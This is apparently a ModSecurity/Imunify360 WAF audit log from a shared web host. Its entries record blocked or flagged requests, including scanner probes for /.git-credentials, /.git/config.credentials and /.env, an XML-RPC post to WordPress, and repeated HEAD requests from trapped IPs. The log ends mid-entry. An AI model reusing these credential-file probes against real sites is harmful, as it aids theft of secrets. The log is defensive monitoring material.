[13/Sep/2026:05:07:08.777352 +0300] aqYFSzTJ6xTvcJoem7f1IgAAAEE 172.86.81.63 50532 127.0.0.1 7081
--38f08864-B--
GET /.git-credentials HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--38f08864-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--38f08864-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git-credentials"] [unique_id "aqYFSzTJ6xTvcJoem7f1IgAAAEE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git-credentials"] [unique_id "aqYFSzTJ6xTvcJoem7f1IgAAAEE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227206032 1571385 (- - -)
Stopwatch2: 1789265227206032 1571385; combined=37446, p1=181, p2=37207, p3=0, p4=0, p5=58, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--38f08864-Z--

--c2335d71-A--
[13/Sep/2026:05:07:08.793014 +0300] aqYFSzTJ6xTvcJoem7f1JgAAAFU 172.86.81.63 50618 127.0.0.1 7081
--c2335d71-B--
GET /.git/config.credentials HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip

--c2335d71-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c2335d71-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.credentials"] [unique_id "aqYFSzTJ6xTvcJoem7f1JgAAAFU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.git/config.credentials"] [unique_id "aqYFSzTJ6xTvcJoem7f1JgAAAFU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.git/config.credentials"] [unique_id "aqYFSzTJ6xTvcJoem7f1JgAAAFU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265227221689 1571374 (- - -)
Stopwatch2: 1789265227221689 1571374; combined=65255, p1=30454, p2=34724, p3=0, p4=0, p5=77, sr=30305, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c2335d71-Z--

--09a1be41-A--
[13/Sep/2026:05:08:24.657778 +0300] aqYFmDTJ6xTvcJoem7f1MAAAAEI 91.124.31.113 59624 127.0.0.1 7081
--09a1be41-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.113
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--09a1be41-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--09a1be41-E--

--09a1be41-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265304649819 8006 (- - -)
Stopwatch2: 1789265304649819 8006; combined=5138, p1=413, p2=4271, p3=70, p4=7, p5=376, sr=135, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--09a1be41-Z--

--bd48233b-A--
[13/Sep/2026:05:08:25.797809 +0300] aqYFmUwu1RSkptiiNIXs8wAAAJI 91.124.31.107 59160 127.0.0.1 7081
--bd48233b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.107
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--bd48233b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--bd48233b-E--

--bd48233b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265305791379 6479 (- - -)
Stopwatch2: 1789265305791379 6479; combined=4971, p1=334, p2=4224, p3=66, p4=7, p5=339, sr=169, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bd48233b-Z--

--1957a449-A--
[13/Sep/2026:05:08:26.673339 +0300] aqYFmmM7dE9KgIIOpQhcOgAAANE 91.124.31.125 59166 127.0.0.1 7081
--1957a449-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.125
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--1957a449-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--1957a449-E--

--1957a449-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265306666960 6417 (- - -)
Stopwatch2: 1789265306666960 6417; combined=4973, p1=881, p2=3783, p3=64, p4=6, p5=239, sr=638, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1957a449-Z--

--01f7d24d-A--
[13/Sep/2026:05:09:43.819577 +0300] aqYF52M7dE9KgIIOpQhcRQAAAMA 95.134.102.169 58076 127.0.0.1 7081
--01f7d24d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.169
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--01f7d24d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--01f7d24d-E--

--01f7d24d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265383813805 5878 (- - -)
Stopwatch2: 1789265383813805 5878; combined=4377, p1=257, p2=3795, p3=59, p4=7, p5=259, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--01f7d24d-Z--

--e9281453-A--
[13/Sep/2026:05:09:44.332532 +0300] aqYF6DTJ6xTvcJoem7f1MwAAAEk 151.243.174.176 58078 127.0.0.1 7081
--e9281453-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--e9281453-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e9281453-E--

--e9281453-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265384326966 5614 (- - -)
Stopwatch2: 1789265384326966 5614; combined=4109, p1=216, p2=3543, p3=58, p4=6, p5=285, sr=97, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e9281453-Z--

--34753a7f-A--
[13/Sep/2026:05:09:44.931386 +0300] aqYF6DTJ6xTvcJoem7f1NAAAAEg 151.243.174.123 58090 127.0.0.1 7081
--34753a7f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.123
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--34753a7f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--34753a7f-E--

--34753a7f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265384922502 8959 (- - -)
Stopwatch2: 1789265384922502 8959; combined=7281, p1=287, p2=6622, p3=70, p4=7, p5=295, sr=119, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--34753a7f-Z--

--a7f1b63a-A--
[13/Sep/2026:05:11:19.094960 +0300] aqYGRmM7dE9KgIIOpQhcXwAAAMw 129.224.203.151 41046 127.0.0.1 7081
--a7f1b63a-B--
POST /xmlrpc.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 129.224.203.151
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 680
Content-Type: text/xml; charset=utf-8
Accept: */*
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 6.2; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/74.0.0.0 Safari/537.36

--a7f1b63a-C--
<?xml version="1.0"?><methodCall><methodName>metaWeblog.newPost</methodName><params><param><value><string>1</string></value></param><param><value><string>53200</string></value></param><param><value><string>53200</string></value></param><param><value><struct><member><name>title</name><value><string>0xfb39688d</string></value></member><member><name>description</name><value><string>0xfb39688d</string></value></member><member><name>mt_keywords</name><value><string>0xfb39688d</string></value></member><member><name>mt_excerpt</name><value><string>0xfb39688d</string></value></member></struct></value></param><param><value><boolean>1</boolean></value></param></params></methodCall>
--a7f1b63a-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: b324e24c-9065-4a30-adb7-d2fac435a451
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a7f1b63a-H--
Message: Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/003_i360_2_bruteforce.conf"] [line "196"] [id "33303"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:05-11.129.224.203.151"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265478874950 220093 (- - -)
Stopwatch2: 1789265478874950 220093; combined=67255, p1=327, p2=66323, p3=0, p4=0, p5=463, sr=128, sw=142, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--a7f1b63a-Z--

--33d71f2a-A--
[13/Sep/2026:05:12:03.303446 +0300] aqYGc2M7dE9KgIIOpQhcZgAAAMI 162.243.61.206 40232 127.0.0.1 7081
--33d71f2a-B--
GET /.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 162.243.61.206
X-Accel-Internal: /internal-nginx-static-location
Sec-Ch-Ua: "Chromium";v="142", "Google Chrome";v="142", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Cache-Control: max-age=0

--33d71f2a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--33d71f2a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqYGc2M7dE9KgIIOpQhcZgAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789265523202087 101563 (- - -)
Stopwatch2: 1789265523202087 101563; combined=5143, p1=273, p2=4787, p3=0, p4=0, p5=82, sr=129, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--33d71f2a-Z--

--906f7103-A--
[13/Sep/2026:05:12:04.035892 +0300] aqYGdGM7dE9KgIIOpQhcZwAAAME 95.134.102.238 40242 127.0.0.1 7081
--906f7103-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.238
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--906f7103-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--906f7103-E--

--906f7103-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265524029875 6065 (- - -)
Stopwatch2: 1789265524029875 6065; combined=4598, p1=232, p2=3957, p3=64, p4=6, p5=339, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--906f7103-Z--

--85e23717-A--
[13/Sep/2026:05:12:04.742583 +0300] aqYGdGM7dE9KgIIOpQhcaAAAAM4 95.134.102.240 40254 127.0.0.1 7081
--85e23717-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.240
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--85e23717-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--85e23717-E--

--85e23717-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265524736545 6105 (- - -)
Stopwatch2: 1789265524736545 6105; combined=4541, p1=282, p2=3923, p3=66, p4=7, p5=262, sr=106, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--85e23717-Z--

--e18fca6c-A--
[13/Sep/2026:05:12:05.706284 +0300] aqYGdWM7dE9KgIIOpQhccgAAAMQ 95.134.102.117 43996 127.0.0.1 7081
--e18fca6c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--e18fca6c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e18fca6c-E--

--e18fca6c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265525700597 5743 (- - -)
Stopwatch2: 1789265525700597 5743; combined=4184, p1=280, p2=3516, p3=68, p4=7, p5=313, sr=142, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e18fca6c-Z--

--fe1c427b-A--
[13/Sep/2026:05:13:05.142328 +0300] aqYGsUwu1RSkptiiNIXtGQAAAJU 151.243.174.229 39446 127.0.0.1 7081
--fe1c427b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.229
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--fe1c427b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--fe1c427b-E--

--fe1c427b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265585128486 13886 (- - -)
Stopwatch2: 1789265585128486 13886; combined=7682, p1=3415, p2=3890, p3=77, p4=7, p5=293, sr=1908, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fe1c427b-Z--

--38f08864-A--
[13/Sep/2026:05:13:05.726495 +0300] aqYGsUwu1RSkptiiNIXtGgAAAJc 95.134.102.118 49642 127.0.0.1 7081
--38f08864-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.118
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--38f08864-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--38f08864-E--

--38f08864-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265585719881 6662 (- - -)
Stopwatch2: 1789265585719881 6662; combined=5053, p1=942, p2=3654, p3=69, p4=8, p5=380, sr=782, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--38f08864-Z--

--8ef1c427-A--
[13/Sep/2026:05:13:06.230156 +0300] aqYGsmM7dE9KgIIOpQhcnAAAANI 151.243.174.135 49644 127.0.0.1 7081
--8ef1c427-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.135
X-Accel-Internal: /internal-nginx-static-location
